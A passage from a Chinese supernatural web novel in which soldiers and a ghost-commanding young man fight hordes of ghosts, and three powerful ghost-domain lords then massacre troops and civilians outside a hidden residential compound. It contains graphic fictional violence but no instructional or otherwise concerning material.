可若真如此,那么又一个问题来了——既然月神有“代行者”,日神是否也有“代行者”?两大存在的博弈最终会将地球带向何方?祂们的目的究竟是什么?
这些悬而未决的疑问,正是高层如今最深的忧虑。
回到当下。
联系不上宴泠昭,又失去关键记忆的朱德宏在办公室里来回踱步。
现在倒是确认了是月神的手笔,但月神究竟意欲何为?是与日神的争斗?还是另有所图?通通都不知道。
***
全副武装的90名军人加入了战场。宴泠昭也没闲着。
值得一提的是,在带领部队进入小区途中,宴泠昭向领队说明了他这边有七个鬼的事。
领队来之前显然听说过了,是以并不惊讶。其实不止他听说过,这次参与任务的全员都听说过。
但见带路的青年虽面无表情,眉眼间却充斥着挥之不去的焦虑,想了想,他还是通过无线电通讯,将宴泠昭的话传达至了每个单位
诡异们发现有人类加入战局,一开始还以为是来“趁火打劫”的,心中冷笑小小人类也是膨胀了,别说他们没尽全力,即使尽全力了,碾死人类也是顺手的事。
——直到发现这些人类与那几个袭击者之间好像有猫腻。
“他们是一伙的!”
“怪不得莫名其妙杀鬼。”
破案了,实锤了。
真相大白的瞬间,原本还在互相使绊子、未尽全力的小区诡异们暴跳如雷。这是背叛“阵营”的行为,纵使他们鬼怪之间不存在同伴情,也不妨碍内奸这玩意儿拉仇恨的程度。
于是,原先勉强维持的平衡被彻底打破,战局急转直下——这也印证了一个事实:若非先前大部分诡异都在消极应战,七鬼根本支撑不到援军到来。而小区诡异的许多攻击看似凶猛,实则更多是针对“自己人”的暗算。
譬如一不小心误伤啊之类的。
人类方。
与诡异正面交锋后,众人意识到一个恐怖的事实——
这群诡异,最低也是B级起步,其中甚至混杂着不少A级,数量几乎抵得上人类几十年来所记录的该级别的总量。
所以,尽管他们在人数上占据优势,几乎是诡异的两倍,但战局却呈现出一面倒的颓势。不仅无法压制对方,反而陷入了极其惨烈的苦战。从交手到现在,仅仅几分钟的时间,伤亡便已触目惊心。
“班长!!”一声撕心裂肺的呐喊。
一名士兵眼看就要被诡异的攻击命中,千钧一发之际,他的班长猛地冲上前,一把将他推开,自己却硬生生承受了这致命一击。
“噗嗤——”
血肉被撕裂的声音清晰可闻。班长的胸口瞬间被洞穿,他甚至来不及发出一声痛呼,便重重倒在地上,瞳孔迅速涣散。
那名士兵目眦欲裂,恨不得立刻冲过去,可眼前的诡异根本不给他喘息的机会,他只能眼睁睁地看着班长倒下。
与诡异一方相比,人类这边刚一交手便损失惨重,而诡异却毫发无伤。
二者间的差距令人绝望。
毕竟,对面全是B级和A级的诡异啊
宴泠昭眼睁睁地看着自己人一个接一个倒下,耳边充斥着士兵们愤怒的嘶吼,胸腔中的怒火如岩浆般翻涌,灼烧着他的理智。气血上涌,太阳穴突突直跳,此时此刻,他感受到了前所未有的无力感。
这一次,没有鬼怪的协助,也没有体内那股神秘力量的加持,他首次意识到了自己的渺小。
士兵们前赴后继,用血肉之躯硬抗诡异的攻势,宴泠昭也在竭尽全力的周旋。奈何他能力有限,身上的伤口越来越多,鲜血浸透了衣衫。
鼻腔里充斥着浓重的血腥味,喉咙像是被刀刮过一般火辣辣的疼,每一次呼吸都带着铁锈般的腥甜。
战斗持续到现在,他几乎完全是靠本能支撑。
四肢沉重如灌铅,每一个动作都像是生锈的齿轮在艰难转动,迟缓而滞涩。
就在这时,诡异群中,一个身着保洁服、形似中年妇女的诡异盯上了他。她手中的拖布条如毒蛇般灵活,骤然伸长,从背后直刺向宴泠昭的后心。
宴泠昭太疲惫了,根本没有察觉到身后的杀机。
□□被贯穿的声音近在咫尺。
宴泠昭下意识回头,只见一名士兵张开双臂,用身体挡在他身后。数条看似柔软、实则锋利如刀的布条,贯穿了他的躯体。
当布条抽离的瞬间,鲜血如泉涌般喷溅而出,士兵也倒在地上。
眼前一片血红,宴泠昭的大脑宕机空白,只觉一股气血直冲头顶,耳畔嗡鸣炸响。
不知道持续了多久,所有的感官在某一瞬间被剥离。他感觉自己像是脱离了□□,变得无比冷漠,明明刚才还怒火滔天,此刻却异常平静。
伴随视野骤然拔高,升至百米高空
又是这种感觉。
宴泠昭低头俯视着下方遮天蔽日的浓烈鬼气,本能般缓缓抬起右手——当然,此刻的他没有“实体”,是以仅仅是一个意念的具现化。
随后,一股力量在“右手”凝聚,轰然爆发!
乳白色的光晕如潮水般扩散,一点点蚕食着漆黑的浓雾。
下一刻,下方的诡异们突然发出凄厉的哀嚎,仿佛遭受了某种无形的重创
时间倒回五分钟前。
自从有名士兵替宴泠昭挡下致命一击后,宴泠昭就像是被定住了一般,站在原地一动不动。
诡异的攻击接踵而至,附近的士兵们见状,纷纷冲上前替他挡下。所幸,他们并未因此受伤。
一名士兵在又一次替宴泠昭化解危机后,皱眉走到他身边,询问:“你怎么了?”
宴泠昭依旧毫无反应,甚至连眼睛都没眨一下,目光涣散,没有焦距。
士兵刚想再说些什么,那个使用拖布攻击的“保洁诡异”在解决掉另一边的火力后,再次将目标锁定在了宴泠昭身上。
就在她的攻击即将落下的刹那,宴泠昭突然抬头,直勾勾的看向她。
下一秒。
“啊啊啊——!!”
保洁诡异骤然发出凄厉的惨叫,身上莫名浮现出大片灼烧般的伤痕。
而她的惨叫宛如一个信号,紧接着,其他诡异也纷纷哀嚎起来,身上同样出现了诡异的灼伤。
与此同时,原本笼罩天空、遮蔽阳光的浓烈鬼气,竟在瞬息之间烟消云散。
士兵们愣住了,完全不明白发生了什么。
这群凶悍的诡异,怎么突然就一副遭受重创的模样?
起初,他们还以为这是某种专门针对诡异的攻击,但很快又发现,和他们并肩作战的那“七鬼”安然无恙。
如此看来,应该是他们这边的人动的手。
只是究竟是怎么做到的?
神魂猛的一震,宴泠昭的意识骤然回笼。
眼前那些方才还张牙舞爪的诡异此刻如同影视剧中惧怕阳光的吸血鬼一样,在痛苦的哀嚎声中逐渐化作灰烬,随风飘散。笼罩在头顶的厚重“乌云”也散开了,温暖的阳光重新洒落大地,照在身上暖融融的。
一切就好像在做梦。
如果地上没有那么多尸体的话。
怔了怔,他的目光不自觉的落在不远处那个为他挡下致命一击的士兵身上。又缓缓扫过四周,看向其他人。
或受伤相互扶持,或跪在地上,为同伴按压伤口,鲜血从指缝间溢出
那红是那样热烈,灼目到他感到眼睛一阵刺痛,伴随天旋地转的眩晕,眼前的世界开始扭曲、模糊。
他失去了意识。
【作者有话说】
没死,换个活法
78 第 78 章
◎不合群的鬼域主◎
某座废弃大学城。
斑驳的建筑在经年累月的风吹雨打下日渐倾颓, 空荡荡的校园里杳无人迹,铅灰色的云层低垂, 将整个天空压得透不过气来。
一阵萧瑟的风掠过,卷起地上泛黄干枯的落叶,叶片在空中打着旋,最终无力地散落在龟裂的柏油路面上,发出细碎的沙沙声。
大学城往往选址在郊区,没别的理由, 郊区便宜。
当最后一批师生撤离后,这片曾经充满生机的土地便如同被按下了暂停键——没有新的规划,没有后续的开发,只剩下时光在这里静静腐朽。
顺着布满青苔的台阶拾级而上, 直抵图书馆。
这座独立建筑占地广阔,气派的罗马柱和拱形门窗无声诉说着昔日的辉煌。然而如今, 破碎的玻璃窗后是黑洞洞的空间, 门廊上“图书馆”三个鎏金大字早已褪色剥落。
图书馆内部光线昏暗, 尘埃在稀薄的阳光中漂浮。书架上的书籍大多蒙着厚厚的灰尘,有些已经发霉变形。角落里堆积着从天花板剥落的墙皮,地板上散落着不知何时掉落的书页。
一个身着黑色高领毛衣的修长身影静坐在窗边的位置上。他披散着一头如瀑的乌黑长发,翘着二郎腿, 后背轻靠在椅背上, 手中捧着一本古旧的书籍。羊皮纸色的封面上, 《古代文学》四个烫金字体依稀可辨。
仅从背影看去,修长身影散发着令人屏息的优雅气质。然而若绕到正面, 便会骇然发现, 那张苍白的脸上空无一物, 没有五官的轮廓。
翻页声在寂静的图书馆内格外清晰。
就在这声响落下的瞬间, 两道身影毫无征兆的出现在馆内。
长发无面人似乎毫无察觉,依旧沉浸在阅读中,背影纹丝不动。
那两道人影里,一个穿着笔挺的交警制服,外罩荧光反光背心。始终眯着眼睛,但从那狭长的眼缝中,隐约可见一抹诡异的红光。若是他完全睁开眼,便会露出那双漆黑如墨的眼白。
另一个则是一身厨师打扮,腰间系着的围裙上沾满污渍。过度肥胖的身躯将衣服撑得几乎爆开,层层叠叠的肥肉挤得他的五官都扭曲变形。稀疏的头发湿漉漉地贴在头皮上,整个人散发着令人不适的油腻感。
两人径直走向窗边的无面人,随后各自找了个座位坐下。
肥胖厨师用力挤进对他来说型号过小的椅子,单薄的椅子登时发出不堪重负的吱呀声,仿佛下一秒就会分崩离析。
“管理员,突然叫我们来有什么事?”眯眼交警屈指敲了敲桌面。
无面人恍若未闻,直到读完当前页的内容,才“啪”地合上书本。明明没有嘴巴,却清晰的传出低沉的声音:“小区鬼域的事,你们应该都听说了吧?”
眯眼交警歪了歪头:“你是说有人类闯进去,把除了域主之外的所有诡异都清理干净那件事?”
“正是。”无面人转向肥胖厨师,“你呢,厨师?别整天埋头钻研你那本菜谱了,这件事总该知道吧。”
厨师沉闷的“嗯”了一声,声音像是从厚重的脂肪层里挤出来的。
无面人微微颔首:“小区的域主至今没有露面。不知道是不愿意,还是”他顿了顿,“作为同层次的鬼,他是我们中最神秘的,也是最不合群的。现在人类都打上门了,他还躲着不出来,真是替那些投靠他、在他地盘上生活的同类感到不值。”
眯眼交警不耐烦的打断:“所以,你到底想说什么?”
无面人调整了一下坐姿,十指交叉置于腹部:“去看看吧。像我们这种等级的鬼,知道的比那些小鬼多得多。我们比大多数同类强大,肩负的责任也更大。自诞生的那天起,我们就明白这份力量是谁赐予,我们理应为那位效劳。”
“不久前,那位向我传达了旨意,交给我一个任务。”无面人的声音突然压低,“不知你们是否也收到了召唤?”
眯眼交警沉默不语。
厨师慢吞吞的开口:“你有什么计划?”
管理员缓缓站起身,书本在他手中消失无踪:“是时候去打个招呼了,你们认为呢?”
话音刚落,图书馆内的空气似乎凝固了一瞬。
眯眼交警依旧保持着那副似笑非笑的表情,细缝中的红光微微闪烁,像是在思考。而厨师则缓缓挪动了下身躯,椅子发出刺耳的悲鸣。他闷声说道:“打招呼怎么打?”
管理员没有五官的脸转向窗外,阴沉的天空下,远处隐约可见几栋同样破败的教学楼。
“既然那位已经给了指示,我们自然不能坐视不管。”
眯眼交警终于睁开了眼睛,漆黑的眼白中央,两点猩红如烛火般跳动。他咧嘴一笑,露出森白的牙齿:“所以?”
管理员的手指轻轻敲击桌面,慢悠悠的道:“那位很不满。”
厨师费劲地从椅子上站起来,身上的肥肉晃动着:“所以我们要去那个小区?”
“是的。”管理员转过身,背着手面向窗户的方向。黑色的高领毛衣衬得他的身形愈发修长,“去拜访一下小区的鬼域主。”
眯眼交警挑了挑眉:“哦?你打算怎么拜访?”
管理员没有直接回答,而是抬起手,掌心朝上。下一秒,一本厚重的书本凭空浮现,纸张无风自动,最终停在其中一页纸面上。
“那就看他识不识趣了。”
眯眼交警和厨师对视一眼。
接着,管理员合上书本,声音平静:“我们的力量是那位给予的,不听话的家伙理应被收回‘赐福’——如果我们办得好,那份力量会为我们所用。”
话音落下,图书馆内的灯光忽明忽暗,仿佛某种无形的力量正在苏醒。
眯眼交警的笑容更深了,眼中的红光愈发刺目:“有意思,那就去看看吧。”
厨师没有回应,只是默默地从口袋里掏出一把锈迹斑斑的菜刀,在围裙上擦了擦。
管理员侧身,无面的脸朝向图书馆的大门,声音如寒风般掠过:“走吧,去见见那位不合群的域主。”
***
宴泠昭缓缓睁开双眼,映入眼帘的是苍白的天花板。空气中弥漫着刺鼻的消毒水气味。
他下意识动了下手,一阵尖锐的刺痛传来。低头垂眸看去,手背上正插着输液针头,透明的药液顺着细长的导管缓慢匀速滴落,上方悬挂的吊瓶在灯光下泛着冰冷的光泽。
这里是医院?
宴泠昭仔细回忆发生了什么——士兵替他挡住攻击,牺牲的画面历历在目。还有那张扭曲变形的面孔,他是熟悉的。
在他的印象中,这张面孔属于一位阿姨,阿姨是小区物业招聘的清洁工,平日里总是笑呵呵的,很爱与人说话聊天。尽管他性格内向,每次被阿姨热情搭话时都感到不自在,但不得不承认,阿姨是个热心肠的人,工作也勤勤恳恳,谁有需要帮忙的地方她都会尽力相助。
两个月前,阿姨还兴高采烈的向他提起女儿即将在下个月举行婚礼的事,说要给他带喜糖。
后来他渐渐忘了这回事,而阿姨也没兑现承诺。他本以为是阿姨也忘了,毕竟以阿姨的性格,阿姨是知道他住哪的,绝对会专门找上来敲门给他送喜糖。
是以,阿姨多半是两个月前就出事了。
如今再见她已化作诡异。曾经的和善荡然无存,只剩下纯粹的恶意。
这让他想起特训时教官的警告:再善良的人一旦变成鬼,都不可信。
可是田燕婉、李奶奶、何爷爷他们明明都保持着生前的性情啊。
还记得当时他想反驳教官,但因为那会国家还未公开,整个基地知道他能够驭鬼的人也屈指可数,教官就不在其中,所以他只能保持沉默。
后来他私下询问过朱德宏,得到的解释是情况特殊。毕竟全世界能驭鬼的仅他一人,或许正是这份独一无二的能力造就了不同。
宴泠昭发了一会儿呆,正想撑起身子,房门突然被推开,朱德宏走了进来。
“醒了?感觉怎么样?”朱德宏关切的说道,“医院检查说你是疲劳过度加上受刺激导致的昏迷。但你的情况特殊,常规检查未必能发现问题。是以如果有任何不适,一定要说出来。”
宴泠昭注视着眼前的中年男人。岁月在他的眼角刻下细纹,鬓角的白发比上次见面时又多了不少——明明才过去短短几天,却仿佛老了十岁,可见这段时间他承受的压力有多大。
“抱歉”宴泠昭喉咙发紧,声音干涩得几乎听不清。
朱德宏摇了摇头,“你不需要道歉。小区的情况我已经知道了。虽然损失了不少战士,但成功清剿了所有诡异,这是重大胜利。”说到这,他顿了顿,“所有牺牲的烈士家属都得到了优厚的抚恤和特殊照顾。每个军人入伍时也都签过生死状,他们清楚自己肩负的使命。所以你不必太过自责。”
——朱德宏是在军人们出小区后,把任务情报汇报给了上级,军方那边整理过后发给他,他才知晓情况的。
宴泠昭沉默不语,显然,他根本无法释怀。
朱德宏正欲再劝,手机这时突然响起。看了眼来电显示,他对宴泠昭说了句“我出去接个电话”便匆匆离开了病房。
走廊上。
电话那头传来的消息让朱德宏瞬间变了脸色:“你说什么?确定吗?”他的声音陡然提高,握着手机的手指不自觉地收紧。
时间回到二十分钟前。
繁华的街道上,三个造型迥异的身影大摇大摆地走着,对路人投来的诧异目光视若无睹。
路人的反应也情有可原。毕竟他们一个面容空白没有五官,一个肥胖到令人不适的程度,穿着交警制服的那个倒是看起来唯一正常的,但与这两个怪人同行,反而显得更加可疑。
加上穿的还是警服,要知道在我国,官方制服是不能随意仿制穿戴的,那是犯法的。也不知道这人是真警察还是假警察。
“妈妈,你看那个大哥哥没有眼睛,也没有鼻子和嘴巴!”一个五六岁大的小女孩紧紧攥着母亲的手,既惊奇又带着几分害怕的喊道。
她母亲其实也被吓倒了,但在孩子面前她强装镇定的说道:“没事的宝贝,那个大哥哥是在cosplay,你可以理解成在玩扮演角色游戏”
这位妈妈安抚性的话语也是绝大多数路人的想法,所以他们才没有惊慌逃开。甚至有个胆大的年轻人举着手机凑上前,试探性的询问能否拍照合影。
厨师看着凑到眼前的手机,眼中闪过一丝凶光,正要发作,身旁的交警拦下他,眯着眼睛笑道:“当然可以。”说完,还对着镜头比了个剪刀手。
等拍照的年轻人道谢离开后,厨师不满的低吼:“为什么不让我教训这些不知死活的人类?”
交警依旧保持着笑眯眯的表情,声音却冷了几分:“别忘了我们是来办正事的。现在惹出事端,惊动了人类官方,只会徒增麻烦。别节外生枝。”
厨师沉着脸,到底没有再说什么。之后,一路上他时不时用阴冷的目光扫过路边的行人,喉咙里不时发出吞咽口水的声音。
“这个适合红烧这个肉紧,炖煮最好这个不错,可以做饺子”
【作者有话说】
[撒花]
79 第 79 章
◎三个S级诡异◎
三个诡异的身影在崇文路一片看似是空地的地方驻足。
在寻常人眼中, 这里不过只是一块闲置的空地。但如果知情人士在场,就会发现这就是崇文路135号的位置。
而崇文路135号, 是“不存在”的街号。
准确来说,在许多人印象中,崇文路没有135号,只有134号。
“就是这里了。”眯眼交警的声音里带着几分玩味。
——在常人眼中空无一物的地方,于这三个特殊存在看来,却分明矗立着一座老旧小区。
保安亭内空无一人, 小区大门也是关着的。当然,与其说是关闭,实则不过是根栏杆横亘其间,仅能阻拦车辆通行, 对行人而言形同虚设。
厨师肥厚的鼻翼剧烈翕动,发出沉闷的喘息:“气息很淡看来那些人类确实将这里的诡异屠戮殆尽了。”
交警与厨师默契地按兵不动。尽管他们占据数量优势, 敌方只有一人, 而他们有三人。但鉴于“种族特性”, 加之对小区鬼域主未知能力的忌惮,两人都不愿贸然行动。
就在他们踌躇之际,管理员迈步向前了。
交警那双始终眯着的眼睛倏地睁开了一瞬,漆黑如墨的眼白中猩红瞳孔闪过危险的光芒, 旋即又恢复成一条细线。
既然有人自愿探路, 他当然不会多此一举的提醒。胖厨师同样保持缄默, 两人交换了一个心照不宣的眼神,冷眼旁观管理员走向小区边界。
就在管理员的左脚越过界限的刹那, 一股强大的力量骤然袭来。下一秒, 他如同断线风筝般倒飞而出, 堪堪从交警与厨师之间的缝隙穿过——若非二人反应迅捷及时闪避, 恐怕也要被这股冲击裹挟着一起掀飞。
这一记重创来得猝不及防。
“砰”的一声巨响。
普通人虽然无法窥见小区的存在,但管理员被轰飞时制造的巨大动静却无法忽视。何况管理员也没有刻意去隐藏。
周遭的路人纷纷好奇的探头探脑。
“天呐!这是出车祸了吗?”
“等等他好像是从那片空地凭空飞出来的?你们看见了吗?”
“该不会是在拍戏吧?摄像机藏哪儿呢?”
管理员重重摔在地上,四肢呈现出不自然的扭曲角度,足见方才那一击的恐怖威力。
旁观的热心路人立刻掏出手机,报警的报警,打120的打120。
一位须发都花白了的老人摇头叹息:“这闺女伤得不轻啊家里人该多揪心。”
——管理员那一头如瀑青丝和面朝下的姿势,让老人误将其认作了女孩。
也不怪人家认错,虽说现在打扮自由,但蓄长发的男生到底还是少数,确实容易被先入为主的当成女性。
“太惨了,手脚都扭曲成那样了就算能治好,恐怕也要落下终身残疾。”围观群众里有人低声议论着,语气中满是怜悯。
就在众人窃窃私语之际,他们看来伤重得应该动不了了的“小姑娘”突然开始抽搐。
这突如其来的反应让围观者倒吸一口凉气,靠得最近的几人更是本能地后退了两步,脸上写满惊恐。
管理员的抽搐越来越剧烈,伴随着一连串令人毛骨悚然的“咔嚓”声——那是骨骼复位时发出的脆响。
然后,在众目睽睽之下,他扭曲变形的四肢竟自行翻转回了正常角度。紧接着,他的身体直挺挺地立了起来,整个过程没有借助手或脚的支撑,完全依靠核心力量完成。即便是专业的体操运动员,恐怕也难以复刻这套动作。
一阵阴风适时掠过,吹开了遮挡在管理员面部的长发,露出那张令人毛骨悚然的无面脸庞。
此刻,再迟钝的围观者也终于意识到,这是鬼,不是人!
“鬼啊!”人群中爆发出一声尖叫,瞬间引爆了恐慌。人们推搡着四散奔逃,场面一度混乱。
管理员不紧不慢地活动了下脖颈,而后抬起右手,一本书籍凭空出现在他手中。
下一秒,未等逃窜的人群跑出多远,数道无形的力量横扫而过,最外围的几人瞬间被拦腰斩断。鲜血喷溅,内脏散落,这血腥至极的场景让幸存者发出撕心裂肺的喊叫。
——得益于官方长期进行的诡异事件应对培训,惊魂未定的民众迅速拨通了特委会的紧急热线。
接线中心顿时被此起彼伏的电话铃声淹没,所有来电几乎描述的都是同一件事。
特委会高层立即意识到事态严重性,火速将情况上报至特殊事务处理部门。部门负责人当机立断,一边调遣精锐作战部队赶往现场,一边将情况通报给正在医院的朱德宏。
听闻有诡异在光天化日之下大开杀戒,朱德宏双眼充血,拳头攥得咯咯作响。他当即就要冲出医院,却在门口硬生生刹住脚步。
经过短暂而激烈的思想斗争后,他转身折返回宴泠昭的病房。
病房里。
正发着呆的宴泠昭听见有人开门进来的声音,转头看去,见是朱德宏,刚想说些什么,忽然愣住。
朱德宏的表情十分难看,且眼白布满血丝,可他刚刚还好好的,才只是出去接了个电话而已。
发生了什么?
宴泠昭都没来得及问,朱德宏就已经说了出来。
“情况紧急,希望你能协助。”朱德宏的声音里带着恳切的情绪。
虽说宴泠昭没受伤,但人已经在医院里躺着了,还是疲惫过度晕过去的——作战的士兵不知道情况,以为是国家动用了什么秘密武器,但他能不知道么,这绝对是宴泠昭动的手
若非实在无人可用,他也不会打扰正在修养的宴泠昭。
——宴泠昭就相当于“保险栓”,在他还没有性情大变之前。
而那个诡异展现出的恐怖实力让朱德宏忧心忡忡,更令他在意的是事发地点竟在小区附近。
这个巧合让他隐隐感到不安,思来想去,还是决定带上宴泠昭以防万一。
宴泠昭闻言,毫不犹豫地拔掉手背上的输液针,利落地翻身下床。
他现在也急需的想做些什么。其实方才他就想问朱德宏有没有任务给他做,但因为知道朱德宏肯定不会说,才没问。
***
管理员回到小区门口,一边优雅地整理着有些凌乱的衣衫,一边微微转动无面的头颅,似乎在观察什么。
胖厨师挪动着小山般的身躯靠近,围裙上未干的血迹滴落在地面。
“有结界。”眯眯眼交警的笑容更深了,眼缝中渗出的红光诡谲渗人。他戴着手套的指尖轻轻触碰屏障,空气中立即迸发出乳白色的光芒。
胖厨师突然张开血盆大口,露出三排锯齿状的尖牙:“让我来尝尝味道。”说完,他的喉咙深处传来诡异的吞咽声,空气里则出现了一圈圈涟漪状的咬痕,但很快又恢复如初。
远处,仓皇逃窜的人群中,一个举着自拍杆的网红逆流而上:“家人们快看!主播见到鬼了!”镜头里,呈现的正是胖厨师撕咬“空气”的画面。
“主播快跑啊!”
“敢不敢离近点?给你刷跑车。”
“前面的,你要不要看看教唆人死亡会被判几年?”
“想红想疯了?还不跑等啥呢?”
“你自己不跑就算了,还影响别人跑路!”
弹幕疯狂滚动,人数以每秒万人的速度激增。网红面上一喜,正要说话,直播信号突然中断。
原来是特殊部门到了,“自带”的电磁干扰生效了。
刺耳的警笛声中,第一批作战部队赶到现场。每个人手腕上都佩戴着一块腕表,上面的指示灯此时不断闪烁着黄色,意思是监测到附近的阴性能量数值“含量”大约在8000左右——标准的A级威胁。
“按A级预案行动!”指挥官通过耳麦下令,“保持距离,先用子弹试探!”
士兵们迅速散开,手中的特制枪械喷吐出特殊子弹。然而子弹在距离三鬼五米处时骤然悬停,就像是撞上了一堵无形的墙壁。
胖厨师咧嘴笑了,露出沾满血丝的牙齿:“人已经来了,不存在节外生枝了吧?”
眯眼交警耸了耸肩,“你随意,不过别影响到我们这边,我们要看看结界怎么处理。”
胖厨师:“好。”
下一秒,所有悬停的子弹同时调转方向,以三倍速反射回去。
尽管士兵们都做了防护,但子弹还是击穿了他们的防护装备,甚至贯穿了他们的身体——眨眼间,十几名士兵倒地,鲜血很快于他们身下汇成一片红色的“小水洼”。
“不对劲数值在飙升!”有个士兵发现腕表上闪烁的黄灯颜色加深,意识到什么,他看向下方显示的数字,只见那数字疯狂往上跳动,声音开始发抖,“80009900突破10000了!”
指挥官脸皮抽动了两下。
没事,破万就破万吧,只要不超过三万,就仍属于A级范畴。
15000
20000
28000
30000!
还在飙升!没有停!
整个指挥频道陷入死一般的寂静。
“撤退!立即撤退!”指挥官回过神来后几乎破音的喊道,“重复,确认三个S级目标!启动最高级别疏散预案!”
可惜为时已晚。
胖厨师露出狰狞的笑容,身上油腻的肥肉随着动作颤动。他那双粗糙的巨掌以不可思议的速度伸出,两名全副武装的士兵登时就像布娃娃般被轻易攫住。
周围的战友立即开火救援,特制的子弹呼啸而至。然而子弹击中胖厨师臃肿的身躯后,竟像陷入泥沼般被层层肥肉吞噬,连半点伤痕都没留下。胖厨师恍若未觉,反而享受般地眯起浑浊的眼睛。
被擒住的士兵徒劳地挣扎,防护装备在巨掌的挤压下发出不堪重负的咯吱声。
随后,胖厨师张开血盆大口,三排锯齿状的尖牙闪着寒光,用力咬了下去。
“咔嚓”
士兵的头颅像熟透的西瓜般爆裂开来。红白相间的脑浆溅在胖厨师油腻的围裙上,他却陶醉地伸出猩红的舌头,舔舐着嘴角的鲜血和脑浆碎末。
“美味”他含糊不清地嘟囔着,另一只手上的士兵吓得嘴唇发抖。
胖厨师不紧不慢的将左手上的“食物”也举到嘴边,像啃鸡腿般一口咬断了对方的脖颈。鲜血如喷泉般涌出,将他的下巴染得通红。
目睹这一幕的士兵们脸色惨白,有几个甚至当场呕吐起来。
管理员右手拿着的书籍无风自动。旋即几名士兵突然僵在原地,接着,他们的影子开始扭曲、拉长,最后竟从地面上“站”了起来,反过来掐住他们的喉咙,然后把他们粗暴地扔进到小区里面。
与三鬼被拦下的情况不同,士兵们就这样进去了。
见状,眯眼交警说道:“厨师,别把人都杀了,我们需要人带我们进去。”
对面一栋高楼的天台上。
宴泠昭扶着栏杆,望着前面下方发生的单方面碾压战局,说道:“我真的不能去帮忙么?”
朱德宏不知道是不是太沉浸在自己的想法里了,没听见,因此没有回复。
“我不去帮忙他们会死的。”宴泠昭说着转过身,就想下去奔赴战场。
其实他一开始就想去的,朱德宏让他来的目的本来也是这个。但中途朱德宏接了个电话后就改变主意了,说对面是S级诡异,不让他上。
宴泠昭不理解。S级诡异固然可怕,可他又不是没消灭过S级诡异,鬼母不就是么?小区这次之所以落下风,是因为诡异太多了蚁多还咬死象,情况不一样。
这回朱德宏总算是听见宴泠昭的话了,喊道:“不行!和鬼母不一样!”
宴泠昭停下脚步,“哪里不一样?”
朱德宏:“鬼母只是堪堪达到S级标准。而那三个,远超标准数值!我怀疑他们就是那三个鬼域的鬼域主!”
或许是觉得宴泠昭不懂事情的严重性,朱德宏还特意解释了一番:“这么跟你讲吧,鬼母的鬼域只笼罩了医院的一栋楼。而那三个诡异,如若我猜得没错,他们的鬼域一个是大学城的一半,一个是一整段全长50公里的公路,最后一个,是上世纪建立的国营食堂,当时是为了供附近的三个国营大厂的工人家属吃饭,面积百多平方——”
“宴泠昭,你知道鬼母与他们之间的差距了吗?他们还不是只来了一个,是三个都来了。”
【作者有话说】
[撒花]
80 第 80 章
◎血月替阳◎
宴泠昭沉默不语。朱德宏也保持着缄默。
空气仿佛凝固了, 沉重得令人窒息。
约莫一分钟后,宴泠昭自然垂落的双手缓缓攥紧成拳。他背对着朱德宏, 声音低沉:“那我们就这么袖手旁观?眼睁睁看着他们去死?”
朱德宏眼中掠过一抹痛色。
他何尝不想施救?看着士兵们惨死,他的心也如同刀绞。但现实残酷,他无能为力,能做的也都已经做了——指挥频道早已下达撤退命令,可那些士兵无路可逃。
至于派人增援?那是徒增伤亡。
三个远超标准数值的S级诡异,绝非靠人海战术就能战胜的。
虽说人类也不是并非全无对策, 导弹轰炸就能逼退它们。但问题是地点不对,这三个诡异是在人口密集的城区,在群众完全疏散前,谁敢下令开火?即便不考虑经济损失, 也要确保平民安全撤离吧?
而关于疏散的命令,也早就吩咐下去了。此刻, 相关的疏散工作正在进行中。
那些浴血奋战的士兵就没办法了, 他们退, 退不掉,也不能退。
说起来残忍,但战争就是这样,它从来不是童话, 没有不流血的胜利。
那这个道理宴泠昭难道不懂吗?
他当然懂。只是他毕竟不是朱德宏, 不必站在全局角度权衡利弊——朱德宏肩负的责任让朱德宏不能凭一时冲动行事, 否则就是对更多人的不负责。
宴泠昭则不一样,他没有那么大的责任、准确的说, 他不知道自己身上的担子也很重, 加上他年轻气盛, 因此很多事他敢想, 也敢做。
譬如此时此刻。
朱德宏:“等群众疏散完毕,导弹就会发射。”
宴泠昭抬眸,侧头望向身后:“那那些正在死战的士兵怎么办?”
朱德宏默然。
“我理解你的难处,也明白你的考量。”宴泠昭语气平静的说道,“所以,也希望你能理解我,至少,别拦着我。”
说完,他不再犹豫,大步走向楼梯口,身影很快消失在朱德宏的视线中。
朱德宏知道自己应该拦住宴泠昭,宴泠昭的价值无可估量,即便牺牲他也不能让宴泠昭出事。
但宴泠昭的那番话终究是撼动了他。
其实主要是朱德宏内心存着一丝侥幸——月神应该不会坐视不管。
再者,宴泠昭有诡异相助,他想拦也拦不住。
综上所述,朱德宏最后才没有出手阻止
宴泠昭逆着仓皇逃窜的人潮前行。
混乱的街道上,增援赶到的军方人员正声嘶力竭的维持秩序:“往这边撤离!不要推挤!保持秩序!”
一名军人突然注意到有个反常的身影,立即高声喝止:“站住!你要去哪?前方危险!快回来!”
那道修长的身影对他的警告置若罔闻,依旧逆流而上。
军人眉头紧锁,正欲上前阻拦,恰在此时,一群市民从两人中间仓促穿过。等人群走开,那道逆行的身影已然消失不见。
“奇怪”军人纳闷的环顾四周,却再难寻其踪迹。
耳麦里传来队友的询问:“怎么了?”
军人迟疑片刻,低声道:“没什么可能是我眼花了,刚才好像看到有人往禁区方向去了。”
“这种时候别分心,专心疏散群众。”队友回应道。
“明白。”
***
宴泠昭借助诡异的能力让自己的身形“虚化”,避免被好心的官方人员阻拦。
随着不断深入,周遭的行人越发稀少,也看到了警戒线,说明战场就在前方不远处。
弯腰穿过临时设置的警戒线,又前行了大约几十米。
宴泠昭停下脚步。
——只见眼前遍地都是触目惊心的血迹和支离破碎的肢体。而那三个诡异,就站在小区门口。
其中最引人注目的,是那个一身厨师打扮的肥胖诡异。
他臃肿的身躯上套着沾满血污的围裙,层层叠叠的肥肉随着咀嚼的动作不停颤动。此刻他正抓着一截人类的手臂大快朵颐,尖锐的牙齿轻易撕扯下大块血肉,咀嚼时发出令人毛骨悚然的“咯吱”声。
宴泠昭的眼神骤然暗沉,薄唇抿成一条紧绷的直线,垂在身侧的双手不自觉地攥紧,他的愤怒是那样明显,不过却始终保持着近乎冷漠的平静外表。唯有那双浅棕色的眼眸深处,翻涌着压抑到极致的怒意
青年站在血泊边缘,目光冰冷地扫过满地残骸,最终锁定在胖厨师身上。
胖厨师似有所感,油腻的头颅缓缓转动,浑浊的瞳孔中映出青年修长的身影。他咧开血盆大口,混杂着肉沫的口水喷溅而出:“又来一个送死的。”
管理员和交警也看到了青年。前者手中的书籍无风自动,书页哗哗作响;后者眯成缝的眼中红光闪烁,嘴角勾起危险的弧度。
